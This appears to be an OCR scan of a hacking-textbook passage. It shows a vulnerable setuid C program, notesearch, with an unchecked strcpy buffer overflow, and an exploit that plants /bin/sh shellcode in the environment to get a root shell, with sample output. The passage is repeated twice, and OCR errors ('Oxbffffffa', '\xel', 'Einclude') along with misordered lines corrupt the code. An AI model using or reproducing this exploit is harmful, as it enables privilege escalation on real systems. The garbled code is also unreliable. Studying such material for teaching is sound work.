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Einclude <stdio.h>
include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print _notes(int, int, char *);
int find user_note(int, int);

int search _note(char *, char *);
void fatal(char *);

int main(int argc, char *argv[]) {
int userid, printing=1l, fd;
char searchstring[100];

if(argc > 1)

strcpy(searchstring, argv[l]);

else o
searchstring[0] = 0;

userid = getuid();
fd = open(FILENAME, O RDONLY) ;
if(fd == -1)
fatal("in main() while opening file for reading");

while(printing)

printing = print notes(fd, userid, searchstring);
printf("------- [ end of note data ]------- \n");
close(fd);
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xad\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2F\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xel\xcd\x80";

int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, ret;
char *buffer = (char *) malloc(160);
for(i=0; i < 160; i+=4)
*((unsigned int *)(buffer+i)) = ret;

execle("./notesearch", "notesearch", buffer, 0, env);
free(buffer);

ret = Oxbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");

sh-3.2#

readerchacking:~ & sudo ./exploit 4
[DEBUG] found a 3 byte note for user id 0
-------[ end of note data ]-------
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include <stdio.h>
include <string.h>
include <fcntl.h>
include <sys/stat.h>
include "hacking.h"

define FILENAME "/var/notes"

int print notes(int, int, char *);
int find user note(int, int);

int search note(char *, char *);
void fatal(char *);

int main(int argc, char *argv[]) {
int userid, printing=1l, fd;
char searchstring[100];

if(argc > 1)
strcpy(searchstring, argv[l]);
else .
searchstring[0] = 0;

userid = getuid();
fd = open(FILENAME, O RDONLY) ;
if(fd == -1)
fatal("in main() while opening file for reading");

while(printing)

printing = print notes(fd, userid, searchstring);
printf("------- [ end of note data ]------- \n");
close(fd);




#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=

"\x31\xcO\x31\xdb\x31\xc9\x99\xb0\xad\xcd\x80\x6a\x0Ob\x58\x51\x68"

"\x2T\x2F\x73\x68\x68\x2T\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xel\xcd\x80";

int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, ret;

char *buffer = (char *) malloc(160);
ret = Oxbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
for(i=0; i < 160; i+=4)

*((unsigned int *)(buffer+i)) = ret;

execle("./notesearch", "notesearch", buffer, 0, env);
free(buffer);




reader-hacking:~ % sudo ./exploit
[DEBUG] found a 3 byte note for user id 0
------- [ end of note data ]-------
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